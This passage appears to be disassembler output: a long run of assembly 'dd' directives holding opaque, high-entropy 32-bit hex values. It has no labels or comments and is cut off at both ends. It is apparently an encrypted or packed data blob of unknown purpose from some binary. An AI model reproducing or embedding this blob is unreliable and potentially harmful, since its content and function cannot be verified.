492321CBh, 59130747h, 3C83445Ah, 7429DB9h dd 44525C5Dh, 0DBAC1943h, 0C29CC13Eh, 78903B9h, 9A690699h dd 254575A6h, 5D341D31h, 0E503ECB3h, 7C1F59Dh, 20DD8DADh dd 7D99D34Dh, 35035D4Dh, 34D87675h, 1E9AE101h, 97FFBE00h dd 0D3632FFAh, 0C9B098E3h, 0CB86A1ADh, 96CE94A1h, 0F4E48683h dd 0F97DB39Bh, 0ABC0F523h, 9A77BDE4h, 0E0D1DE92h, 0B7E4F784h dd 0FFFFFFA7h, 87B23387h, 88E5CDD6h, 0EEB0DBBEh, 0A5A6E2A1h dd 0D781C59Fh, 8EF8C0E1h, 0B0A0CEA8h, 0A1FF60FFh, 0B298A79Ch dd 2796C38Fh, 0D2C19B92h, 0CAA78EA2h, 0FB19BF37h, 0C98780FFh dd 0A998C5CEh, 0AAF9BC81h, 8EE0A00Fh, 0F48A8FADh, 0FFEC065Bh dd 0B79391ADh, 0D79EC592h, 2BFCD1E7h, 0F577CCE0h, 0A403FFFFh dd 0E3C5C89Eh, 978FAC9Ch, 85B5BBE4h, 0B5808DB6h, 59C4D49Eh dd 136EC3B0h, 951FC3B3h, 8723330Fh, 0E1C00FFDh, 0BEEEFF9Bh dd 13B6A1E4h, 0CAADF184h, 0A1CAEC2Fh, 0F99C57E4h, 677AEBFh dd 0E761E5F6h, 99E38F96h, 7F4FDDBAh, 3BEE9580h, 38CE3E8h dd 0A8EE9597h, 983F84ADh, 0A7E4FFABh, 0CF9B83D0h, 8B9FEDC2h dd 0C1989F1Fh dd 0BFE1E2CEh, 0BAC5F60Dh, 0B00FBCD7h, 9FE2C41Fh, 0F3BCFCFFh dd 0FF842FB9h, 0B4E47AB7h, 0CCCFBBD5h, 0DD8FCBE9h, 0B1AAE2B6h dd 7EC03B99h, 84901E42h, 0C784BAD4h, 0FF43FFD2h, 0BF7FFFFFh dd 0E0C0C598h, 0BACA8CCBh, 9EABBDF4h, 86E1C6BDh, 0FECECE83h dd 0F9D6AB82h, 9CB0AAD2h, 7E40F6ADh, 37C585D8h, 0C0D5849Fh dd 6807382Bh, 4DCD12E0h, 7D61A64Dh, 0DD7663B9h, 42D09068h dd 0D36665FBh, 0D8D45C4Dh, 0B97BB46Dh, 464D0D62h, 16D75BE0h dd 4D622B37h, 1C639E52h, 0DD622B47h, 704D5CEAh, 512F524Dh dd 957E799Dh, 304D4B4Ah, 9C2BA677h, 6B5C8D5Ah, 7670382Fh dd 0C0D3070h, 0A3D9B34Ch, 592B50EDh, 0F405704h, 0A193A30Ah dd 1BA83742h, 6B29786Bh, 314F76A8h, 822D2538h, 7363BB9Dh dd 0BC806570h, 12A547C5h, 630F7005h, 86E6C1EAh, 78854063h dd 0E04B5686h, 0FC689575h, 8F4BA47Ch, 7A897A42h, 9C5DBB62h dd 83E23582h, 8067B86h, 0D633729Ch, 9021933h, 333236C4h dd 916A7A46h, 0EF216420h, 0FF78113Fh, 9E1102C3h, 0EF8FC884h dd 4F3EB284h, 4BFF192Fh, 0B8DDAD37h, 87ADACAFh, 237784EAh dd 0D9FFB0FDh, 970B8EE8h, 0A2CCD396h, 1BDBBA85h, 0C6C99894h dd 2F1832FFh, 0BCCEF133h, 0E1C49D7Bh, 0BA81B198h, 7A5BA6EEh dd 8BECA2F6h, 81F913B1h, 8903A5DFh, 9A6D25FAh, 9EF52D45h dd 0D19897F3h, 0FF4BF6CFh, 0CBBED35Fh, 0AFAEE6F7h, 0D9C8B78Fh dd 0A26B9F92h, 0F6C2B088h, 1BF8DF0Fh, 9CC4C93Fh, 8AF7C880h dd 0E8AA80BBh, 0C9A0D4A8h, 0FFFF9CD0h, 6B878DFFh, 0CEA6C4FCh dd 9DA0EEB1h, 0C58CA188h, 0C4CA9284h, 0DB80D9E8h, 0F3E2B0B4h dd 0E49FFFFDh, 869EA1C4h, 0EDC68884h, 0E8DCBA86h, 87ABB6AFh dd 9CC3C8A3h, 0FFFFFF9Ah, 0B2F66F85h, 0A2C5F3E0h, 91C293C9h dd 0D9B89092h, 0B1E182E8h, 0F0C7A7FBh, 0FFFB7FDEh, 0DACAC6FFh dd 0D3BDC29Eh, 0B0B89AF2h, 0A6D9FBABh, 0C4C698D3h, 0BED38EC3h dd 0ACEFA0DCh, 2E0907ECh, 83BC8FECh, 88FFECB3h, 1FF6FFC2h dd 2386E3C2h, 8EA3C0D2h, 0AFBB80B1h, 94B189EDh, 5C9996D2h dd 0D2FFA5FFh, 0B084CB8Eh, 9BE4B5C8h, 0C184A809h, 0D2C8BE81h dd 72FB17F8h, 0E16F97C2h, 47A192A7h, 8AEECD87h, 60501AADh dd 0A5D35BD9h, 95ABA186h, 0B0628E06h, 93074227h, 6E251865h dd 5E15314Ch, 0AD905942h, 5C63251Ch, 0D6B6703Fh, 0E67B11Ah dd 0D110285h, 0E5477173h, 6975080Bh, 362B4441h, 0ECEC3ED8h dd 6B595C12h, 2BA04314h, 0CB56B2E8h, 310AC611h, 76A37A92h dd 67B42040h, 59992B27h, 0D6C4B683h, 33D38261h, 6ADB01ABh dd 795368DEh, 82D173Dh, 0DF000E98h, 0E8B0E66h, 7FEA316Bh dd 3980A64Eh, 700FB012h, 13890684h, 197E1307h, 60BC1BEDh dd 508B8342h, 3465543h, 0D1B06D18h, 429E4D54h, 523E5895h dd 4DC26B57h, 6311141Ch, 63A2E87Dh, 0E84D36B2h, 9F48D85Fh dd 0F03BE6EFh, 22212123h, 11414911h, 545C210Bh, 2EEBA2E4h dd 45232928h, 0E1FF2407h, 96AA50DCh, 112E6FA5h, 0A1AD6B11h dd 2B58C161h, 62C5166h, 807A8484h, 3E42C793h, 0FA8B7B0h dd 6D616845h, 4642462Dh, 0E4665D1Ch, 2F62C0E8h, 5C145D15h dd 656D9614h, 88C11268h, 0D6BC065Ch, 70274B9Bh, 2EC2443Ah dd 43577106h, 5CFC9252h, 0CBAB22C4h, 72675007h, 6C0AB40Bh dd 0F05379F8h, 954A2E0Ah, 55A0A0A3h, 3F8050E1h, 7F7A7F7Fh dd 6B130386h, 510902D7h, 7E45474Dh, 65B60CF1h, 714631AAh dd 0AC64B262h, 17EF01D0h, 168C709Bh, 0B186E61Ah, 6FDC3750h dd 0F5FB0964h, 1F2D0F11h, 6B6416E0h, 0A46487E3h, 816A757Ch dd 7AB25F81h, 3C757211h, 0D022A756h, 63089101h, 1CF3769h dd 670FF826h, 0C2973FE3h, 0B5090D86h, 30CD1711h, 5AC3E0h dd 76657309h, 47344627h, 7F3111B7h, 0CF08B5Dh, 0EF085AB4h dd 0AF11C930h, 0C2484D5Eh, 0C0DB627Eh, 3BD05190h, 9BD93BC6h dd 0B6EF90D0h, 0CDB057E7h, 0FE69C126h, 2963EF70h, 0DD2765A1h dd 5CE1F3Fh, 116D86C3h, 0C036083Eh, 1AC292D5h, 6F8ACD53h dd 67BA36A6h, 52580FAFh, 0B067415Ch, 197E55ADh, 75831B99h dd 6D80887Bh, 38033B00h, 0B7601D2Bh, 5270D81h, 2A04627Ch dd 4C2B259Bh, 0B8A42B02h, 3187D66Ch, 32F5FB38h, 7D9A0D2Ch dd 4A360393h, 72E3356Ch, 0C5F45211h, 888E8959h, 4F0FADC5h dd 0EACA54h, 1FB95333h, 0BA2602E1h, 0D92F4877h, 0C3177C3Fh dd 6231C334h, 66F75BADh, 5D7D337Dh, 790C2D74h, 312F0B95h dd 0B4ED2D4Ah, 6109BABDh, 2D0BA472h, 3B750A1Ch, 61097C33h dd 434C1555h, 24271313h, 62D7349Eh, 40732225h, 11848564h dd 0F968945Bh, 962B3B2Eh, 60A32440h, 48B22D26h, 363C5323h dd 30BE5F8h, 0C8C99F84h, 0EFB0DDBEh, 0C7B0CFE1h, 0E704C68Dh dd 7774D148h, 9BE3BBE7h, 13216240h, 48A98F78h, 0E59A1F13h dd 0C0E11498h, 8D7B0AEFh, 3325EA42h, 1177121Eh, 1466FC2Bh dd 7F47494Bh, 7CFD87Eh, 15936489h, 24232813h, 0FA85E823h dd 1F66E93Ch, 0D90011B0h, 93F7AF4h, 6CFCF4BFh, 8413DFB2h dd 13594B35h, 30CEA1E9h, 86836346h, 59C07A50h, 4ACEE741h dd 990A22E8h, 5F61E44Ah, 2322E7D8h, 918999B0h, 77F94337h dd 0C081D025h, 41B86418h, 29F64849h, 868F80CEh, 0C06F8E7Fh dd 6178E894h, 67312567h, 747945A4h, 64A040D2h, 38816F0Fh dd 7DA41B0Ch, 94BA023Fh, 3F3D8F9Dh, 0B51EA7F3h, 96C6353h dd 5FDB88DCh, 26EFBE42h, 97648CDh, 7372704h, 32360204h dd 92764338h, 0EE14A0E0h, 6C249944h, 5D68B0D9h, 0C0364333h dd 2322601Eh, 4C202825h, 66972D20h, 0D3CEBAF4h, 0A2764372h dd 207C6450h, 0A013F3EFh, 27F9A6CEh, 59BB0BA9h, 2F19ECF4h dd 0ED3FE907h, 0D43E694Fh, 1227EC0Eh, 3748C926h, 33825952h dd 0AB2C2E0h, 0C981939Bh, 69D9E039h, 9969218Ah, 0DD9709A7h dd 0D272612Eh, 86673Fh, 3C242653h, 3BFDD879h, 693CA15Fh dd 0E2D05F4Fh, 4B0BB724h, 285E5C02h, 3F64FB03h, 308217Ah dd 0FAEDEC13h, 70718BC1h, 0E65581F0h, 0F1ED7C31h, 26AE6DBEh dd 7F034514h, 81E1216Bh, 9DDC8711h, 0F9138E49h, 3F61149Fh dd 4493EC9Fh, 73878F49h, 45435041h, 0A51EE669h, 9924ECB8h dd 1C5B0BA3h, 73DB65ABh, 0B517221Fh, 0AB3E4797h, 43C02418h dd 9E4C0CA1h, 7F92D1ACh, 9B212B47h, 8504EC89h, 59280BC9h dd 0F2071BB7h, 63293F24h, 2E5E3BC9h, 64916981h, 0E42AE4C3h dd 145A712h, 7C70C0FDh, 101350C9h, 3BD04438h, 81D2F0E1h dd 743A733Bh, 2A992527h, 8580B1B2h, 66CA57B1h, 0F5752AE0h dd 7EE16558h, 9C80ABCAh, 7CBCB0ECh, 7F743B4Eh, 7583D81Fh dd 78CF1F6Ah, 12DF6FE7h, 35FE42BEh, 670F40B0h, 471D9AC8h dd 765F25D9h, 0CF0B034Fh, 0E7F232A3h, 3B2C6B0Bh, 0FCC78169h dd 7E49EC7Bh, 172C09C2h, 34DA88C9h, 0B37E80Ah, 9C93EC0Fh dd 0DF93E6C5h, 2B7BAB2Ch, 9F607E1Dh, 140F2FB0h, 0AB36651Bh dd 12E3E328h, 40F2485Eh, 8997F4E9h, 0F250061h, 0FACE427Bh dd 65C92735h, 0ECBA3D62h, 61268421h, 4CF5AF9Ch, 0B2A6386Ch dd 7A085078h, 4CB0A955h, 22D0567Ah, 3448C1A0h, 0DD77634Ah dd 3C432DF6h, 633CF177h, 373F687Dh, 568BD922h, 0E1DF29D7h dd 2336D59Fh, 5A5E4353h, 0F1B5F54h, 9D83FF22h, 0B0D13B5h dd 0BEA6838Bh, 0CBF984FEh, 2781E69Dh, 0A4FFFFE3h, 0EAC4E2BAh dd 0D2D3FBDCh, 0D1D181D5h dd 0A4F981F1h, 0D6EBECBCh, 9E40FADEh, 0D1AF1584h, 5820334Dh dd 61FFFF7Dh, 0B11F6F8Fh, 0CBE7E2B4h, 94E495A3h, 0BE909ED1h dd 0FC02B192h, 0AAF8FF90h, 0BA9595C5h, 0B796E7DCh, 27C8C19Eh dd 0FFCC007Fh, 0ABEEABFFh, 0AFB089B7h, 0E0B87BE4h, 0EDFFDBF5h dd 8DAAE4A7h, 0BE8CEFEAh, 8594A598h, 0BDF8CFC3h, 0F2AADDBAh dd 0E8E32633h, 0D13ACA0h, 0E0FBE867h, 0B213E312h, 0FCC50F5Bh dd 29232077h, 28F128A8h, 90773AB1h, 3EC0C7ECh, 0B2779461h dd 353771E9h, 93181F2Bh, 2C7F743Ch, 32323163h, 76927248h dd 0C73A6333h, 619FA6h, 0BAC82CC3h, 0F09316C6h, 0FCA19B85h dd 0F85F4762h, 0D7F64F21h, 94F9305Ah, 0B7A0B707h, 7BE247D0h dd 4303F22h, 43414951h, 0FB97BAECh, 425C4758h, 1F543556h dd 2C2D032Ah, 0B3BA69A0h, 2C300B2Fh, 0B560BE35h, 0F27FCEBh dd 0B8E7735h, 0DF520E7Dh, 355784ACh, 45673584h, 6E21117Eh dd 0B964358Ch, 3B0A255Dh, 2720C894h, 0C1B38004h, 371709CDh dd 0DE38E337h, 0B3121006h, 52C02BECh, 0E96A45h, 2BF32627h dd 0B9B62CC4h, 3640103h, 7BA8370Bh, 8B56B8D5h, 444C5303h dd 4D9605Fh, 2F115ACCh, 0FC2D8DCBh, 4242635Ch, 19455E5Fh dd 68111754h, 0F081BC7Bh, 62A2685Fh, 0F53B037Bh, 1A2BF325h dd 62867D2Fh, 17202B09h, 0DC2F223Bh, 4C072B92h, 22227F4Ah dd 0D2F63C23h, 11511BFDh, 2425210Fh, 5E599720h, 0C3F4B42h dd 3167EB0Eh, 0B378693Ah, 0F0B02621h, 620F20B2h, 0F364DD7Ch dd 0F6A5A314h, 4360313Fh, 6DD82E6Bh, 41746C6Bh, 7105614h dd 0B01AE6AFh, 0CF42B350h, 0BD09F37h, 76743E99h, 12BF7576h dd 0A9273F20h, 0CC6B2D09h, 1B59281Fh, 1ED0C869h, 3438391Ch dd 0EC3B2DE0h, 0B10242Bh, 58803978h, 4B3F606h, 96C4237Bh dd 5E0BA7FBh, 65610781h, 91CF37BCh, 6859753h, 5253B6FDh dd 59565730h, 24245B58h, 0DBFD19D6h, 45604041h, 49464744h dd 76BD4B48h, 0B635BF63h, 7D7A7BF6h, 2B60B6F3h, 696667F8h dd 0BEA6B68h, 230E0B85h, 29F32F22h, 383E3A28h, 43B245ECh dd 0A03C08F0h, 28381741h, 1F386685h, 0F70CC1CEh, 613C8641h dd 14CB1810h, 0A21BF8Fh, 7F876539h, 4D39E4D2h, 8A1CD39Eh dd 0FE111000h, 6639AE9Bh, 0D7640367h, 7666E237h, 6366E383h dd 0EFEA5B7Ch, 0E8C5720Bh, 1273D266h, 0A9034062h, 0FC606475h dd 0EA87FFFFh, 1660BA6Ah, 0FC662BC4h, 4D6D850Fh, 9866CA47h dd 0A966EC0Eh, 3F81F307h, 77778B08h, 1EEEDB90h, 0FFFFE744h dd 49137B7Fh, 142D3FDCh, 0A9FE654Bh, 5B8C4F30h, 64BEEB9Ah dd 0F664BEFBh, 7C9F6EEh, 3117BD9h, 0E23927A7h, 3EC37BDEh dd 6D3EB1E6h, 0A703A703h, 0F6062DC4h, 1A28A79Bh, 5135AC12h dd 6E59D1F3h, 9B0107AFh, 3BAC1B39h, 0A4B10110h, 0B35706D1h dd 15FFFFD7h, 0FA9B994Ch, 8E00D80Dh, 3A1119F9h, 78715901h dd 4CF6461Ch, 81F3498Dh, 0BDED0B07h, 3C37Fh, 6EECF1DDh dd 0F77F0B03h, 1191CB3Dh, 12F412F9h, 0FF171577h, 17424FFFh dd 4935231Fh, 7554DDECh, 0CC61A158h, 873D65BFh, 1C4F71C3h dd 64DCFB90h, 7F0B611Bh, 0FFCD076Dh, 15FF37Fh, 0E0E08791h dd 0DF5C3Bh, 31117BB7h, 0E5637FBEh, 0C48F5C1Dh, 33532D87h dd 83BCE11Ch, 0D91AE5B9h, 11DCFF03h, 5C036F71h, 38465E54h dd 0EEB0EFB3h, 12290ECAh, 391321FFh, 5DB37D17h, 1901107Bh dd 11D900CFh, 1FC91743h, 6782F840h, 0D5F71697h, 3611DC39h dd 75EC5F64h, 1F0BDC38h, 0FBA73A8h, 43243243h, 24B5B7B4h dd 0BC243243h, 0BA6AC1BBh, 371732Fh, 0C9F8149h, 0EC5F7BD8h dd 0D7D3DB69h, 74810241h, 99A75EDFh, 1100EE31h, 0C3847E42h dd 7703595Fh, 13181711h, 69007BC6h, 8692701h, 0D21BB31Dh dd 614FFFC5h, 898289C9h, 0B800C35Eh, 0A346AF2Ch, 2D962329h dd 9157B261h, 0D98400E7h, 52BB87C8h, 0F7037105h, 9921900Dh dd 0FFD82AD1h, 901320FFh, 911206D4h, 885BF81Fh, 419BE088h dd 13946B7Eh, 0C0611AE3h, 5F21E746h, 0C93C067Fh, 1CCBAB13h dd 0B1D3E31h, 4B0149B2h, 663F2B07h, 1EC610Ah, 79473F7Fh dd 0C2E3591Dh, 79A3111Fh, 318FD39Ah, 80D43BC0h, 7354D07h dd 0B7430378h, 200535D1h, 11255535h, 0CC836D24h, 10B6195h dd 1458757Bh, 11DD5BB2h, 0FB1B7772h, 3CD09EC5h, 7B1D3BC3h dd 0B9D39F7h, 6321FDBBh, 1201FF10h, 7D71309h, 3028C16h dd 72CDF72Ch, 1C890D44h, 3E4E4D1Bh, 5FFF87D6h, 5110E48h dd 5C8E5BA9h, 0DE6C0Dh, 0D641AC97h, 6DD30FA7h, 65538746h dd 3656F4h, 0B02E4A1Bh, 6C49FFFFh, 0FA516464h, 60AD56D7h dd 0C10DB65Fh, 183186A4h, 10909A4Bh, 32DF3F98h, 0A361F602h dd 59180D79h, 10FFA637h, 9A0713DEh, 14ED3555h, 9F49EBF1h dd 0F1B7EF6Fh, 1421540Bh, 2C0AEA35h, 8FA01FAh, 0B2DF15FAh dd 7654EF6h, 50730F01h, 24E0581Bh, 0FAE32632h, 0A8648E3Bh dd 9E1BB6Eh, 1A3F4811h, 17270A1Ah, 0E42FE52Bh, 0EE5647EFh dd 63535C42h, 0D94209C7h, 0F16DEFEEh, 73B6632Fh, 5F315241h dd 53464554h, 0F8815A5Ah, 565EEF0Dh, 315C5043h, 628B172Dh dd 5CBF816Dh, 0B1210A02h, 80311F41h, 6D76C346h, 536A15B1h dd 52220EBCh, 0E0B98270h, 235C27D6h, 32D04923h, 256C5ADh dd 0D35F0A36h, 0BDD3C18h, 0A2131DAh, 62B58BE7h, 8C80216Dh dd 0DB1DA116h, 85C61303h, 1B00C4B5h, 0B0BFC5A6h, 78512B50h dd 41AC4B5Eh, 8F84A46Bh, 1993863Ah, 240095F1h, 631A251Bh dd 0F766917Fh, 0D8E62385h, 90133DEh, 23CF288Ch, 41C7581Dh dd 4E21CD24h, 39E406CBh, 3119AB91h, 6B0546CBh, 128E4992h dd 2760C81Eh, 7222B7Ah, 2373FC51h, 1711170Fh, 41F0101h dd 0FFF1999Bh, 0F26E86FFh, 9067115Eh, 0E36B7B08h, 390D58F5h dd 653421BEh, 21427601h, 0E16044DFh, 0BA64DF4Dh, 294B468Eh dd 0BD19666Ah, 7B6EE420h, 4D61E333h, 1127073Fh, 6EA15629h dd 21773F6Ch, 3DE9581Bh, 2D9D873Ch, 75632E00h, 7CADB7B3h dd 15CD1980h, 0CF6309F6h, 0AC3D61CFh, 8E8DA55Ch, 988FA910h dd 28406130h, 0E1A36B7Fh, 7D8B00BEh, 61D374D9h, 0D3C8527Bh dd 348D6B25h, 0DAC1B03Bh, 154A019Fh, 9F13451Bh, 45AEBADBh dd 4863375Ah, 0CBC74D22h, 0AC25FB54h, 8783D349h, 0FE0101A9h dd 835607FFh, 2808397Bh, 0C1A01Dh, 0D111B98Ah, 0E43FC85Eh dd 4836E48Bh, 0FE51DA3h, 719F2579h, 1DB11DB1h, 8E4F1DA0h dd 0B111200Ch, 781D991Dh, 0A359C9B2h, 58407FDh, 0AC964451h dd 616D4F47h, 81079751h, 436F6447h, 0EC946913h, 7C279E40h dd 0F8B74ABAh, 3EE90113h, 9CF1E935h, 231FEFEEh, 0C1D27D32h dd 8419FCF0h, 1A84388h, 0E4F279FFh, 0A910FFD3h, 0BC311D01h dd 61F2151Ch, 1E7F0736h, 9F2579C9h, 611009E5h, 1E951E95h dd 0F9006FCh, 13111E84h, 841E957Fh, 7D9E4D87h, 0B98B001Eh dd 0DEC88D6Fh, 0F61343AAh, 4F59FC5Fh, 0EE160DFDh, 2D1044F5h dd 3640403h, 0FFF6C9D6h, 9BAB640Dh, 0F4153A7h, 280353C1h dd 148A0425h, 0BB41A9Ah, 450D833Ch, 6D759BFBh, 1902392Ah dd 0B40A00DBh, 801427FFh, 59353BC1h, 9790BC5Bh, 31102B4Ch dd 0D35B1BA9h, 0A257D30Ch, 58004D2Bh, 16C181C1h, 4D39357Fh dd 9790AE40h, 19311037h, 0AED15B10h, 46935318h, 0A0CA89FFh dd 5ED92F6Ah, 7615A23h, 270F10C2h, 6903FF92h, 7FAE564Bh dd 121299F0h, 0D6340777h dd 81204E5Dh, 5C2D0C12h, 3BAC080Dh, 0F115E010h, 5B135B88h dd 0B8325A3h, 4D12321Fh, 4D545D41h, 1CFF9225h, 15312ECBh dd 30110E12h, 9095F953h, 723D85ADh, 0C6930710h, 6C27615h dd 0DB1590DAh, 0CD92BCABh, 0D810D9E5h, 9115916Dh, 921C9E15h dd 91159687h, 0C2157915h, 0A24FC91Eh, 4B29063h, 2FB0713h dd 9487D4B2h, 0D504FA07h, 94AC0ECEh, 1B1D19A9h, 3FFE07h dd 50FCC794h, 3797363Dh, 0A2B148C3h, 8113BB4Fh, 7EFA2DD4h dd 664B23D4h, 4B200323h, 42B9153Eh, 77FF8C86h, 90A64869h dd 0DC110101h, 2E7A399h, 74BBFB73h, 0AE426409h, 169CFB2h dd 2B90B92Ah, 0E4895111h, 5F517FFFh, 0B12C9C8Eh, 789E00DFh dd 212F1119h, 0F7100A14h, 0B45AC8B9h, 192D71A3h, 0BC87905Fh dd 192DA3B0h, 277A195Ch, 2D110647h, 0E0403519h, 0A3B9460Bh dd 554307F1h, 5016EAADh, 0E24D485Eh, 0D75C1309h, 5C3D45E6h dd 0BBF1F70Dh, 5782682Ch, 0BD19CF1h, 6C1DBE4h, 19FA0081h dd 6B047607h, 3603F667h, 5E595602h, 819955h, 4610008Fh dd 0A32D6833h, 10C84187h, 0FB15C310h, 0BD5DC9Dh, 657F16C1h dd 0FF6C038Eh, 79FFABBh, 4A12FA71h, 0E9F9D242h, 15D12053h dd 41C91025h, 0FEC3204Ah, 0ED46FDDFh, 51211351h, 39501041h dd 0D1D739D3h, 0D07715F3h, 7FFF15FBh, 210EDF89h, 391213E7h dd 5202108Fh, 13D82049h, 70C4F119h, 0E3205211h, 0ACEEB64Fh dd 1058ED66h, 5E13D108h, 35F6744Ah, 1C461325h, 10BF1084h dd 7FA5CFC4h, 0BEB9AC91h, 0AF276C9Bh, 109838E5h, 655D246Eh dd 131B09BFh, 0FFFF3FFFh, 864310A1h, 0C148DBh, 0B111C4B9h dd 40911CD8h, 0C44A437h, 57D4D026h, 0CF7268BAh, 9EF8C5F3h dd 78F9793Bh, 0E48F04C7h, 0F3E69EE9h, 36EDE83Ch, 4F263E10h dd 2E79E7D3h, 53155051h, 77B5253h, 548D7E81h, 31568B51h dd 79E722DCh, 5B58E79Eh, 0CB5F5C5Ah, 5E9E7806h, 80198E89h dd 47608314h, 1282361Ch, 87C324h, 172C9E2Ah, 88308632h dd 34D3D5E5h, 3D3575Dh, 0D1D907C5h, 34D365A9h, 0B1B9A54Dh dd 9A9BED89h, 819AE9A6h, 91950399h, 9A697D65h, 7113E9A6h dd 51554149h, 0A69A69A6h, 3921292Dh, 69A69B31h, 1901099Ah dd 0D2E91115h, 2775D34Dh, 3FD07E1h, 34C9F1F5h, 0C134D34Dh dd 0A1A9D1D9h, 0D7CCE9A6h, 3D29751h, 0A69A9D85h, 3B99BA69h dd 757D6591h, 0A69A7771h, 41454D69h, 0D34D0359h, 3B295D34h dd 9313921h, 0DD766705h, 1107973Bh, 3D3E98Fh, 4CE6CCE9h dd 0D39300F9h, 69A6CD03h, 0D5C1A69Ah, 0BAB1BDA9h, 9D9A69A6h dd 21717969h, 8489393Fh, 21316907h, 0DC6750CFh, 0DBAE9A6h dd 5030927h, 2FD0ED19h, 0E9A69A69h, 0CDF5E103h, 69A6C5C9h dd 0DDC1A6BAh, 0A9D1D91Fh, 9A69A69Ah, 818DB9A1h, 9B2C6D95h dd 796169A6h, 49834171h, 0F6CD35D8h, 41550B89h, 0D0510359h dd 4BC21776h, 0F3D02967h, 0D0350F3Dh, 10BBAEBAh, 50F0DFBh dd 151B1D03h, 7BA30BBAh, 13D1ABD1h, 0DDF90FE1h, 3E9B185h dd 23D1C1CDh, 0E9410FDDh, 0FF7BA69Ah, 0A1A95507h, 6BA7B903h dd 89B1A69Ah, 99579D81h, 9A300AC6h, 4B53D1D1h, 11DF192Dh dd 53D1A769h, 0EE9A77AFh, 8FABD199h, 7433E159h, 9BBA69A7h dd 13392129h, 0CBBB1B0Dh, 7FD11DD8h, 0AEE90B15h, 0E9B1F98Bh dd 0C5AE93BAh, 0DD03C107h, 30AEAED5h, 0A19B9776h, 0A3AEB50Bh dd 0B19776B1h, 3891BEBh, 9DAFAE85h, 6FAE950Bh, 0B7300B01h dd 6270619Fh, 16F00736h, 707D73B7h, 0BA61E306h, 2F806EE9h dd 0B70787Ah, 70637E79h, 0B36F3D9h, 60622BFBh, 0E7117E7Dh dd 5062B600h, 0A070473h, 23DF000Ch, 54FC110Bh, 13E7A014h dd 9B2D5828h, 137FEC0Dh, 32D91D33h, 70B9BB7h, 17567C7Eh dd 0B50ACD0Fh, 6B74876Eh, 0BE5F075Dh, 7D361379h, 7C74677Eh dd 68747F7Eh, 65647D62h, 3F83F7A1h, 79726578h, 0CA72645Fh dd 0FB3B08Bh, 74E76962h, 0B64E7633h, 0BD9BB6Dh, 1A666007h dd 1511236Bh, 0B787407Bh, 6B706070h, 9E07420Bh, 0FF941EECh dd 23616907h, 2689827Ah, 7829284Fh, 9736281Bh, 0B7C74E4h dd 0B0587247h, 0C77EF543h, 45CDEF0Bh, 99E88035h, 5AA0D6A7h dd 0AA27906Bh, 0DC284D62h, 0CBDDB9EFh, 0C4656383h, 58662FD9h dd 74961F7h, 0EB647F17h, 8096D6B3h, 8D0A707Ah, 387767C9h dd 7C13466Bh, 65622B0Eh, 758320CEh, 250724B4h, 5DCD8A20h dd 74632D28h, 5868F621h, 1535F809h, 0ED757037h, 8809043h dd 0C2236586h, 0EC064B92h, 11110B21h, 0D8327272h, 11111107h dd 6E72FB70h, 21C70703h, 0C3666127h, 4FA10DECh, 0EB2707EBh dd 0D8BA12D9h, 111E0F70h, 2E730BE9h, 2B207152h, 5B0B0703h dd 84817BD0h, 3065211Fh, 9737E14h, 7E554D0Dh, 57046472h dd 81ED0FC2h, 6DDD4217h, 2C504D62h, 0A0BECBB5h, 4D20626Bh dd 0BAC6A230h, 377CEDB2h, 844D0750h, 724410B6h, 0C20B72F3h dd 1646D65Dh, 11113713h, 80D92317h, 571F1127h, 19F6034Bh dd 75BC932Ah, 0EF68720Bh, 1B2325B9h, 346A0313h, 7722EC22h dd 0C315AF77h, 0BB73E15Ch, 57F6629h, 52926417h, 0E4AD6298h dd 5B1265DDh, 0F1175586h, 0AB9E1B78h, 35D44B78h, 2049F91Ch dd 0C378637Eh, 74B9A086h, 703C8CDAh, 5373CF60h, 72238CFBh dd 0AF126278h, 267C7378h, 72C6A775h, 702FAB6Fh, 0F001E97Bh dd 8BF3832Ah, 2C236741h, 76697E8Fh, 6B52EF6Dh, 64331326h dd 7FA2A361h, 51C9DA39h, 35CB5F12h, 0B2B59B11h, 7797A33h dd 4ED68C37h, 556587ADh, 6BAB28C4h, 9F5ACE33h, 41906417h dd 73466D18h, 0CB8F626Fh, 1B93E719h, 226EF76Ch, 9B116373h dd 74076264h, 96AA44A3h, 7ABEB39Ah, 476A46DFh, 7B170228h dd 78DF827Eh, 0F4ECE137h, 77E7D717h, 0B8211F5Ah, 7B163615h dd 737E1708h, 0BD3B5C67h, 832FE683h, 606F4159h, 0DF04F7CBh dd 70B7479h, 0D937B60h, 3B63746Bh, 11527403h, 90BB152Bh dd 0CA050C0Fh, 64230A6Ch, 0CC7BF669h, 6F067846h, 3539A64h dd 0DECE4168h, 0F1620770h, 6B036D81h, 7B0B65C4h, 2E451B63h dd 406D857Bh, 2628650Fh, 201A2FDBh, 1B1C3C31h, 0A4262307h dd 3CE3C060h, 10044546h, 25420A42h, 0FFA058A9h, 0FF2766FBh dd 4BB23F5Fh, 31693C27h, 31D13122h, 20317977h, 31252321h dd 0A0B5BB91h, 2167DC5Bh, 0D916122Bh, 758C4BF6h, 63696663h dd 0C0276324h, 28E900DAh, 8F26923Ch, 6BD0483Dh, 7B212420h dd 0F057BE9h, 8F65E023h, 0A11B2220h, 24B6C236h, 3D130314h dd 4B927B02h, 74694FC5h, 4B242325h, 1E4BB3E4h, 211EFC19h dd 393215Fh, 0BFD8F679h, 33312624h, 2917333Eh, 202710E6h dd 80D9F220h, 2023A91Ch, 35BE94Fh, 5C9ECB84h, 63FDC922h dd 93089322h, 2BF91C44h, 36A33193h, 21CEF106h, 0D320A733h dd 6E1062CDh, 0F50FCB2Fh, 27EA2401h, 414557E3h, 0A9511831h dd 57CE6D4h, 0B97B9DB8h, 21BB6AAEh, 6320FB01h, 0A10254BBh dd 690B7A15h, 4047080Fh, 86020E00h, 4B57120Dh, 41443223h dd 999E6954h, 656D041Ch, 0D82F5C89h, 8F45B204h, 4D8B4565h dd 1406C091h, 0FFFF04CFh, 46A8AA3Eh, 914F05E0h, 11EE2065h dd 14FAE8F3h, 0FFFFF7F9h, 228F0467h, 529A75CAh, 1D519A21h dd 0BC0D619Ah, 0F919699Ah, 1077FFF7h, 9A474299h, 4D9A2D4Eh dd 0CE12692Ah, 314A9A42h, 0F46E8505h, 15D2927Fh, 0E612229Ah dd 23BDD822h, 0D514D0B9h dd 0FFFEDFF9h, 0DB3AE764h, 3A49F864h, 4FFAC0C9h, 28354F12h dd 9A1A9A77h, 0CE120D4Fh, 0C0F0049Ah, 4FD6127Fh, 4FF1EE4Ah dd 0BF79A879h, 0E4DFFE21h, 7F83AB45h, 0C7EE9515h, 0FD90E99Ah dd 42FD9A99h, 627B107Bh, 13EDB42Dh, 115792ABh, 